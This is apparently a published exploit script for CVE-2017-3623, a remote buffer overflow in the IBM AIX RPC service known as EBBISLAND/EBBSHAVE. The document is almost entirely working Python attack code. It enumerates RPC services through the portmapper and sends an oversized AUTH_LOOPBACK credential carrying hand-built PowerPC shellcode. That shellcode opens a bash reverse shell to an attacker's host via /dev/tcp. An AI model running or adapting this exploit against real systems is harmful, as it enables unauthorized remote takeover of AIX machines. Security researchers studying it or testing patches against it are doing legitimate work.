EBBISLAND EBBSHAVE 6100-09-04-1441 – Remote Buffer Overflow
# Exploit Title: EBBISLAND EBBSHAVE 6100-09-04-1441 - Remote Buffer Overflow # Date: 2018-09-19 # Exploit Author: Harrison Neal # Vendor Homepage: https://www.ibm.com/us-en/ # Version: 6100-09-04-1441, 7100-03-05-1524, 7100-04-00-0000, 7200-01-01-1642 # Tested on: IBM AIX PPC # CVE: CVE-2017-3623 # EBBISLAND / EBBSHAVE RPC Buffer Overflow for IBM AIX PPC #!/usr/bin/python # Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc # Exploit code example; shellcode requires /usr/bin/bash on the target # Example values for my AIX 7.2 LPAR: # gid_base: 3007d390 # execl_func: d0307940 # execl_toc: f081bc20 # CAUTION: If a RPC service repeatedly crashes, it can be automatically disabled from os import urandom from socket import socket, AF_INET, SOCK_STREAM from struct import pack, unpack from sys import argv, exit from time import time, sleep def getCredLoopbackBody(): global gid_base, rhost, lhost, lport, gid_base, execl_func, execl_toc epoch = pack('>I', time()) # Make sure the system clock is in sync w/ target # Doesn't matter, ljust call assumes len <= 4 node_name = 'hn' node_length = pack('>I', len(node_name)) node_name = node_name.ljust(4, '\x00') # Also doesn't matter uid = pack('>I', 0) gid = pack('>I', 0) # Big enough to trigger an overflow # Not big enough to trigger defensive code # You could make this a little bit less, # but you'd have to tweak the part 2 code gids_len = pack('>I', 64) base_addr = pack('>I', gid_base) addr_8c = pack('>I', gid_base + 0x8c) addr_a8 = pack('>I', gid_base + 0xa8) addr_4c = pack('>I', gid_base + 0x4c) func_addr = pack('>I', execl_func) toc_addr = pack('>I', execl_toc) cmd = 'bash -i >& /dev/tcp/' + lhost + '/' + lport + ' 0>&1' cmd = cmd.ljust(0x30, '\x00') # Each GID is 4 bytes long, we want 64 gids = ( # +0x0 # filepath '/usr/bin/bash\x00\x00\x00' # +0x10 # argv[0] 'bash\x00\x00\x00\x00' # +0x18 # argv[1] '-c\x00\x00' # +0x1c # argv[2] ) + cmd + ( # +0x4c # r3 = filepath '\x70\x63\x00\x00' # andi. r3, r3, 0x0 '\x3c\x60' ) + base_addr[0:2] + ( # lis r3, ... '\x60\x63' ) + base_addr[2:4] + ( # ori r3, r3, ... # +0x58 # r4 = argv[0] '\x38\x83\x00\x10' # addi r4, r3, 0x10 # +0x5c # r5 = argv[1] '\x38\xa4\x00\x08' # addi r5, r4, 0x8 # +0x60 # r6 = argv[2] '\x38\xc5\x00\x04' # addi r6, r5, 0x4 # +0x64 # r7 = NULL '\x70\xe7\x00\x00' # andi. r7, r7, 0x0 # +0x68 # r2 = libc.a TOC for execl '\x70\x42\x00\x00' # andi. r2, r2, 0x0 '\x3c\x40' ) + toc_addr[0:2] + ( # lis r2, ... '\x60\x42' ) + toc_addr[2:4] + ( # ori r2, r2, ... # +0x74 # execl '\x71\x08\x00\x00' # andi. r8, r8, 0x0 '\x3d\x00' ) + func_addr[0:2] + ( # lis r8, ... '\x61\x08' ) + func_addr[2:4] + ( # ori r8, ... '\x7d\x09\x03\xa6' # mtctr r8 '\x4e\x80\x04\x21' # bctrl # +0x88 # 0x14 padding 'AAAAAAAAAAAAAAAAAAAA' # +0x9c # Will be NULL 'ZZZZ' # +0xa0 # @+948: r5 = +0x8c # @+968: r5 = *(+0x8c + 0x18) = *(+0xa4) # +0xa4 # @+968: r5 = +0xa8 # @+972: r0 = *(r5 + 0x0) = *(+0xa8) # +0xa8 # @+972: r0 = +0x4c # @+980: ctr = r0 = +0x4c # @+988: branch to ctr ) + addr_8c + addr_a8 + addr_4c + ( # +0xac # padding 'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB' ) print ":".join("{:02x}".format(ord(c)) for c in gids) print len(gids) return epoch + node_length + node_name + uid + gid + gids_len + gids def getCredLoopback(): cred_flavor = pack('>I', 0x55de) # AUTH_LOOPBACK cred_body = getCredLoopbackBody() cred_len = pack('>I', len(cred_body)) return cred_flavor + cred_len + cred_body def getAuthNone(): auth_flavor = pack('>I', 0) # AUTH_NONE auth_len = pack('>I', 0) return auth_flavor + auth_len def getMessage(prog_num, ver_num, proc_num, use_loopback_cred): xid = urandom(4) mtype = pack('>I', 0) # CALL rpcvers = pack('>I', 2) prog = pack('>I', prog_num) vers = pack('>I', ver_num) proc = pack('>I', proc_num) cred = ( getCredLoopback() if use_loopback_cred else getAuthNone() ) verf = getAuthNone() return xid + mtype + rpcvers + prog + vers + proc + cred + verf def getPacket(message): # MSB on = this is the last fragment # LSBs = fragment length frag = pack('>I', len(message) + 0x80000000) return frag + message if len(argv) < 7: print 'Usage: ebbshave-aixgeneric-v1.py rhost lhost lport gid_base execl_func execl_toc' exit(1) rhost = argv[1] lhost = argv[2] lport = argv[3] gid_base = int(argv[4], 16) execl_func = int(argv[5], 16) execl_toc = int(argv[6], 16) # Query the portmapper for services services = [] s = socket(AF_INET, SOCK_STREAM) s.connect((rhost, 111)) # port 111 for portmapper s.send(getPacket(getMessage( 100000, # portmapper 2, # version 2 4, # DUMP False # unauth request ))) s.recv(0x1c) # skip over fragment length, XID, message type, reply state, verifier, accept state while list(unpack('>I', s.recv(4)))[0]: # while next "value follows" field is true prog_num, ver_num, proto_num, port = unpack('>IIII', s.recv(16)) if (prog_num == 100024 # status and proto_num == 6): # TCP print '[ ] Found service ' + str(prog_num) + ' v' + str(ver_num) + ' on TCP port ' + str(port) services.append((prog_num, ver_num, port)) s.close() # Try attacking for service in services: prog_num, ver_num, port = service serv_str = str(prog_num) + ' v' + str(ver_num) for attack in [False, True]: sleep(1) # be gentle print '[ ] ' + ( 'Attacking' if attack else 'Pinging' ) + ' ' + serv_str s = socket(AF_INET, SOCK_STREAM) s.connect((rhost, port)) resp_len = 0 s.send(getPacket(getMessage( prog_num, ver_num, 0, # NULL, acts like a ping attack ))) s.settimeout(5) # give inetd/... a chance to spin up the service if needed try: resp_len = len( s.recv(1024) ) # try to receive up to 1024 bytes except: resp_len = 0 # typically either timeout, connection error, or Ctrl+C try: s.close() # try closing the connection if it isn't already dead except: pass # connection is probably already dead print '[ ] Got response length ' + str(resp_len) if resp_len == 0: # suspect the service either timed out or crashed if attack: print '[+] Probably vulnerable to EBBSHAVE, hopefully you have a shell' else: print '[-] Service probably down or otherwise misbehaving, skipping...' break |